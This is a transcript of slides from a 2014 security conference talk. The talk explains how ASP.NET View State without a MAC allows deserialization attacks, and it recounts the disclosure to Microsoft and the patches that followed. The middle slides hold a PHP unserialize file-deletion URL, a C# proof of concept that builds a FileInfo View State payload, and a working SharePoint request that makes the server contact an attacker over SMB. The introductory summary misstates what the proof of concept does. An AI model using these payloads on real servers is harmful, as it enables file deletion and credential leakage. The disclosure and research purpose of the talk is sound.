The document summarizes a presentation about discovering a design issue in .NET's handling of view state fields without integrity protection. During a web application assessment in 2012, the presenter found that custom serialization of view state into an unprotected field could allow tampering by modifying the serialized object graph. This led to the realization that known .NET deserialization behaviors could be triggered remotely by manipulating the view state. A proof-of-concept exploited this by generating view state containing a FileInfo object that deleted a file on the server when deserialized. This uncovered a remote code execution vulnerability in some ASP.NET applications.
AWS Community Day CPH - Three problems of Terraform
Asfws 2014 slides why .net needs ma-cs and other serial(-ization) tales_v2.0
1. Application Security Forum - 2014 Western Switzerland
05-06 November 2014 - Y-Parc / Yverdon-les-Bains
http://www.appsec-forum.ch
Why .NET needs MACs and other serial(-ization) tales
Alexandre Herzog
CTO / Compass Security Schweiz AG
2. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
2
3. About the tale
It’s the story of a simple web app test which ended up uncovering a design issue within the .NET framework.
I won’t cover the disclosure process in detail
•Not that I don’t want to, but I don’t have time for it
•Feel free to come over and discuss this afterwards
–Idéalement autour d’un verre de vin ;-)
3
4. About its storyteller
Vaudois exilé d’abord en Valais, then Wellington (New Zealand) und jetzt Zürich
Breaking stuff since 2010 for Compass Security
•Previously worked for banks as sysadmin / developer
Finished my MAS in Information Security in 2013
•MAS thesis about “Crypto-based security mechanisms in Windows and .NET”
Author of several security advisories
•And still no Twitter handle (!)
4
5. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
5
6. Once upon a time…
September 2012,
•during a standard ASP.NET web application assessment…
<body>
<form name="aspnetForm" method="post" action="[…]" id="aspnetForm">
<div>
<input type="hidden" […] value="" />
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value=""/>
<input type="hidden" name="__VSTATE" id="__VSTATE"
value="[LONG_BASE64_STRING]" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="" />
</div>
6
7. Once upon a time…
September 2012,
•during a standard ASP.NET web application assessment…
<body>
<form name="aspnetForm" method="post" action="[…]" id="aspnetForm">
<div>
<input type="hidden" […] value="" />
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value=""/>
<input type="hidden" name="__VSTATE" id="__VSTATE"
value="[LONG_BASE64_STRING]" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="" />
</div>
7
8. Once upon a time…
protected override object LoadPageStateFromPersistenceMedium() {
string viewState = Request.Form["__VSTATE"];
byte[] bytes = Convert.FromBase64String(viewState);
if (Helper.obterFlagCompressViewState())
bytes = Compressor.Decompress(bytes);
LosFormatter formatter = new LosFormatter();
return formatter.Deserialize(Convert.ToBase64String(bytes));
}
protected override void SavePageStateToPersistenceMedium(object viewState){
LosFormatter formatter = new LosFormatter();
StringWriter writer = new StringWriter();
formatter.Serialize(writer, viewState);
string viewStateString = writer.ToString();
byte[] bytes = Convert.FromBase64String(viewStateString);
if (Helper.obterFlagCompressViewState())
bytes = Compressor.Compress(bytes);
x.RegisterHiddenField(Page, "__VSTATE", Convert.ToBase64String(bytes));
}
8
9. Once upon a time…
protected override object LoadPageStateFromPersistenceMedium() {
string viewState = Request.Form["__VSTATE"];
byte[] bytes = Convert.FromBase64String(viewState);
if (Helper.obterFlagCompressViewState())
bytes = Compressor.Decompress(bytes);
LosFormatter formatter = new LosFormatter();
return formatter.Deserialize(Convert.ToBase64String(bytes));
}
protected override void SavePageStateToPersistenceMedium(object viewState){
LosFormatter formatter = new LosFormatter();
StringWriter writer = new StringWriter();
formatter.Serialize(writer, viewState);
string viewStateString = writer.ToString();
byte[] bytes = Convert.FromBase64String(viewStateString);
if (Helper.obterFlagCompressViewState())
bytes = Compressor.Compress(bytes);
x.RegisterHiddenField(Page, "__VSTATE", Convert.ToBase64String(bytes));
}
9
10. Once upon a time…
We have
•A custom implementation of the __VIEWSTATE field
•Its value is stored compressed within __VSTATE
•It uses the default LosFormatter object constructor
•No Machine Authentication (sic) Code (MAC) is used
•The __VIEWSTATE field sent to the client is therefore not integrity-protected
–Despite the fact we serialize / deserialize objects…
The same applies to regular ASP.NET pages
•If property EnableViewStateMac is disabled (enabled by default)
10
11. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
11
12. Tales “Why does .NET need MACs”
A View State Contains
•2 bytes of header data (ASP.NET 1.1 versus 2.0+)
•A tree of serialized objects (View State Bag & Serialized ASP.NET controls of the page)
•A (H)MAC ensuring integrity (if configured so – default: enabled)
A View State
•Can be encrypted
•Can be split into blocks of x bytes (__VIEWSTATEFIELDCOUNT & __VIEWSTATEx fields)
•Can include user defined values to ensure a unique MAC is generated (Page.ViewStateUserKey property)
12
13. Tales “Why does .NET need MACs”
View State handling and lifecycle
13
ASP.NET deserializes the View State and copies the values back into the controls
Serialize
Deserialize
Request from the client comes in
Response is sent to the client
14. Tales “Why does .NET need MACs”
State of the art of hacking View States back then:
Trustwave's SpiderLabs Security Advisory TWSL2010-001:
Multiplatform View State Tampering Vulnerabilities
Published: 2010-02-08 Version: 1.1
SpiderLabs has documented view state tampering vulnerabilities in three products from separate vendors. View states are used by some web application frameworks to store the state of HTML GUI controls. View states are typically stored in hidden client-side input fields, although server-side storage is widely supported.
Credit: David Byrne of Trustwave's SpiderLabs The ASP.Net view state is typically stored in a hidden field named "__VIEWSTATE". When a page's view state is not cryptographically signed, many standard .Net controls are vulnerable to Cross-Site Scripting (XSS) through the view state.
14
16. Tales “Why does .NET need MACs”
Inappropriate Microsoft advice back then (Trustwave):
16
17. Tales “Why does .NET need MACs”
State of the art of exploiting ASP.NET View State fields without MACs:
•Abuse them for XSS
•You must have an existing control on the page accepting HTML to inject your payload
Back in 2010, Trustwave already identified RCE in Mojarra (Java) View State via Expression Language
•Implemented in their “Deface” tool
•This attack was presented in MISC magazine #69
17
18. Tales “Why does .NET need MACs”
Back to September 2012: so ASP.NET unprotected View State fields can be misused
•But “only” for XSS when a few pre-conditions are met
•And computing a MAC is bad for performance according to Microsoft articles (or was at least in 2010)
Some pages in e.g. SharePoint do not enforce a MAC on the View State
•View State on these pages is empty, so you can’t misused them for XSS
18
19. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
19
20. “Serialization” tales
Serialization is known to be an issue in web apps
•Potentially user defined content gets deserialized on the server
•Depends on the technology and the application’s code
•Tool “Deface” targets Apache MyFaces 1.2.8 applications
Let’s see a PHP example:
20
21. “Serialization” tales
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
21
22. “Serialization” tales
Flaw can be exploited with the following link
•http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10: "cache_file";s:15:"../../index.php";}
When receiving this request, the server
•Takes GET parameter “data” and “unserialize” it
•Casts it to object type “Example1”
•Assigns value “../../index.php” to property “cache_file”
•When the page lifetime is over, method “__destruct()” of object “Example1” is called which deletes the file
Can the same be done with .NET?
22
24. “Serialization” tales
Great research of James Forshaw (Context)
Studying (and exploiting) .NET serialization via
•IFormatter
•XML Serialization
•WCF Data Contracts
•JSON
But not a word about serialization of
•View State field
•LosFormatter object (limited object serialization)
24
25. “Serialization” tales
Awesomeness of James Forshaw’s research
•Standard .NET object TempFileCollection deletes files in destructor
[Serializable]
public class TempFileCollection
{
private Hashtable files; // Deserialized list of files
// Other stuff...
~TempFileCollection()
{
foreach (string file in files.Keys)
{
File.Delete(file); // Makes sure to delete them when
// The object is destroyed!
}
}
}
25
26. “Serialization” tales
Awesomeness of James Forshaw’s research
•Standard .NET object FileInfo triggers SMB requests
[Serializable]
public class FileInfo {
private string FullPath;
protected FileInfo(SerializationInfo info,
StreamingContext context) {
// Ensures path is canonical
FullPath = NormalizePath(info.GetString("FullPath"));
} }
string NormalizePath(string path) {
string[] parts = path.Split('');
foreach(string part in parts) {
currPath += "" + part;
if(part[0] == '~') { // If potential short path,
GetLongPathName(currPath); } // call Windows API
} }
26
27. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
27
28. When the stories come together – My tale
What if I can combine the fact I now have
•A View State field without integrity protection (resp. MAC)
•Known .NET objects having interesting (de)serialization actions
If possible, I would be able to e.g.
•Delete a file on the server
•Get the server to initiate a SMB request to e.g. the attacker’s machine
Can I apply it?
Can it be done within the few hours left onsite?
28
29. When the stories come together – My tale
using System; using System.IO; using System.Text; using System.Web.UI;
// created in a hurry by Alexandre Herzog, csnc.ch, 20.09.2012
public class ExploitViewstate
{ // Caution: both files must be the same length!
static String bugusFile = @"ATTACKER~testtext.txt";
static String dummyFile = @"c:testCompasstestVS.txt";
public static void Main(string[] args) {
String validViewstate = GenerateValidViewstate();
Console.WriteLine("Valid viewstate: {0}", validViewstate); }
private static String GenerateValidViewstate() {
FileInfo fi = new FileInfo(dummyFile);
LosFormatter los = new LosFormatter();
using (StringWriter sw = new StringWriter()) {
los.Serialize(sw, fi);
return sw.ToString(); } } }
29
30. When the stories come together – My tale
C:>set csc=c:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe
C:>%csc% exploitViewstate.cs && exploitViewstate.exe
Microsoft (R) Visual C# 2005 Compiler version 8.00.50727.4927
for Microsoft (R) Windows (R) 2005 Framework version 2.0.50727
Copyright (C) Microsoft Corporation 2001-2005. All rights reserved.
Valid View State: /wEyhAEAAQAAAP////8BAAAAAAAAAAQBAAAAElN5c3RlbS5JTy5GaWxlSW5mbwI
AAAAMT3JpZ2luYWxQYXRoCEZ1bGxQYXRoAQEGAgAAABljOlx0ZXN0Q29tcGFzc1x0ZXN0VlMudHh0BgMAAAAZYzpcdGVzdENvbXBhc3NcdGVzdFZTLnR4dAs=
For the PoC, we need to change the file in the above Base64 string from
•c:testCompasstestVS.txt
to
•ATTACKER~testtext.txt
30
31. When the stories come together – My tale
On an unpatched SharePoint, just send the following request:
•http://<sharepoint>/_layouts/viewlsts.aspx?BaseType=0&_ _VIEWSTATE=/wEyhAEAAQAAAP////8BAAAAAAAAAAQBAAAAElN5c3RlbS5JTy5GaWxlSW5mbwIAAAAMT3JpZ2luYWxQYXRoCEZ1bGxQYXRoAQEGAgAAABlcXGRiXH50ZXN0eHh4eFx0ZXN0VlMudHh0BgMAAAAZXFxkYlx%2bdGVzdHh4eHhcdGVzdFZTLnR4dAs%3d
31
32. When the stories come together – My tale
On an unpatched SharePoint, just send the following request:
•http://<sharepoint>/_layouts/viewlsts.aspx?BaseType=0&_ _VIEWSTATE=/wEyhAEAAQAAAP////8BAAAAAAAAAAQBAAAAElN5c3RlbS5JTy5GaWxlSW5mbwIAAAAMT3JpZ2luYWxQYXRoCEZ1bGxQYXRoAQEGAgAAABlcXGRiXH50ZXN0eHh4eFx0ZXN0VlMudHh0BgMAAAAZXFxkYlx%2bdGVzdHh4eHhcdGVzdFZTLnR4dAs%3d
32
33. When the stories come together – My tale
In the SharePoint logs:
09/25/2012 17:49:25.68 w3wp.exe (0x0C04) 0x03E4 SharePoint Foundation Monitoring nasq Medium Entering monitored scope (Request (GET:http://sps:80/_layouts/viewlsts.aspx?BaseType=0&__VIEWSTATE=/wEyhAEAAQAAAP////8BAAAAAAAAAAQBAAAAElN5c3RlbS5JTy5GaWxlSW5mbwIAAAAMT3JpZ2luYWxQYXRoCEZ1bGxQYXRoAQEGAgAAABlcXGRiXH50ZXN0eHh4eFx0ZXN0VlMudHh0BgMAA AAZXFxkYlx%2bdGVzdHh4eHhcdGVzdFZTLnR4dAs%3d))
[…]
09/25/2012 17:49:44.24 w3wp.exe (0x0C04) 0x03E4 SharePoint Foundation Runtime tkau Unexpected System.InvalidCastException: Unable to cast object of type 'System.IO.FileInfo' to type 'System.Web.UI.Pair'. at System.Web.UI.HiddenFieldPageStatePersister.Load() c263fbf5- 6190-481e-8b21-c2cb5d04222b
33
34. When the stories come together – My tale
Demo!
When the View State MAC is disabled, you can
•Delete a file on the server (via object TempFileCollection)
•Get the server to initiate a SMB request to e.g. the attacker’s machine (via object FileInfo)
•I wasn’t able to get a generic remote code execution (so far)
–Highly dependent on the application / content of the server’s GAC
–But I heard this week that it’s possible to get RCE and that some smarter people than I have a working exploit…
34
35. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
35
36. Time sequence of the (patch) battle
Disclosure milestones
•26.09.2012 Initial contact with MSRC
•19.02.2013 Microsoft aims for a fix in SharePoint in May
•28.02.2013 Microsoft confirms work is under way for SkyDrive
•15.04.2013 Patch postponed (issues found during tests); MS will issue guidance about the View State MAC
•03.07.2013 Patch again postponed (issues found during tests)
•16.08.2013 Detailed answer about the next steps; BlueHat invitation
•10.09.2013 September’s patch Tuesday with MS13-067 (Vulnerabilities in Microsoft SharePoint Server Could Allow Remote Code Execution)
36
37. Time sequence of the (patch) battle
Disclosure milestones (continued)
•06.11.2013 Conference call with Microsoft
•10.12.2013 December’s patch Tuesday with
–MS13-100 (Vulnerabilities in Microsoft SharePoint Server Could Allow RCE)
–MS13-105 (Vulnerabilities in Microsoft Exchange Server Could Allow RCE)
–KB2905247 (Insecure ASP.NET Site Configuration Could Allow Elevation of Privilege)
•11.12.2013 Meeting with several Microsoft people in Seattle
37
38. Time sequence of the (patch) battle
Disclosure milestones (continued)
•05.05.2014 Release of ASP.NET 4.5.2 which forbids disabling the View State MAC
•13.05.2014 May’s patch Tuesday with MS14-024 (SharePoint)
•07.08.2014 Announcement that only the latest (ASP).NET framework will be supported in 2016 onward
•09.09.2014 Release to all customers via Windows Update of the December 2013 patch KB2905247
You are now safe… … if you install all suggested WU patches
38
39. Time sequence of the (patch) battle
But what was the content of
•MS13-100 / CVE-2013-5059
•MS14-022 / CVE-2014-0251 (?) & CVE-2014-1813 (?)
Microsoft did their homework
•A cross-product/company wide effort was made to address serialisation / View State issues
•Several additional attack vectors were found and fixed
39
40. Time sequence of the (patch) battle
Extract of MS13-100 (CVE-2013-5059)
•New namespace “Microsoft.Office.Server.Security”
•New internal class SafeSerialization with methods
»IsSafeBinaryFormatterStreamWithAllowList([…]) […]
»IsSafeBinaryFormatterStreamCommon( […])
•Usage within SharePoint:
40
41. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
41
42. Is the ugly bug really dead?
Yes if you patch adequately
•No pages in SharePoint should be vulnerable
•No pages in Outlook Web Access should be vulnerable
•Disabling the Viewstate MAC should not be possible anymore with patch KB 2905247 installed
This patch securing the Viewstate is controversial
•“We deliberately broke backward compatibility to keep you safe. […] and this is something I’m horrendously proud of”
But how is the MAC computed?
•Using the keys defined in <machineKey />
42
43. Is the ugly bug really dead?
Yes if you patch adequately
•No pages in SharePoint should be vulnerable
•No pages in Outlook Web Access should be vulnerable
•Disabling the Viewstate MAC should not be possible anymore with patch KB 2905247 installed
This patch securing the Viewstate is controversial
•“We deliberately broke backward compatibility to keep you safe. […] and this is something I’m horrendously proud of”
But how is the MAC computed?
•Using the keys defined in <machineKey />
43
44. Is the ugly bug really dead?
Result of an audit searching for static machineKey entries
44
45. Is the ugly bug really dead?
If I have your machineKey…
•… I can generate a valid View State MAC too
•Well, I can also generate a Forms Authentication cookie among other things…
Issue was formally reported to Microsoft in August 2013
•Microsoft took contact with the affected projects
How do you manage your machineKeys?
45
46. Agenda
About the tale and its storyteller
Once upon a time…
Tales “Why does .NET need MACs”
“Serialization” tales
When the stories come together – my tale
Time sequence of the (patch) battle
Is the ugly bug really dead?
Happy end (?)
46
47. The (happy?) end
Ensure your products are patched / unaffected
•SharePoint (MS13-067 & MS13-100)
•Exchange (OWA – MS13-0105)
•ASP.NET (KB2905247)
•All your other third party ASP.NET sites
If you don’t use ASP.NET 4.5.2 yet
•Plan to support this version as Microsoft will drop support for elderly version in 2016
47
48. The (happy?) end
Verify your ASP.NET applications
•Don’t deserialize untrusted documents (e.g. on file uploads)
•Don’t re-implement custom Viewstate-like features
Ensure you manage your machineKeys correctly
•If static keys are defined, manage them as carefully as all the other crypto-stuff
•No copy/paste from Internet, dedicated keys per environment, …
•Encrypt the sensitive sections of your web.config
48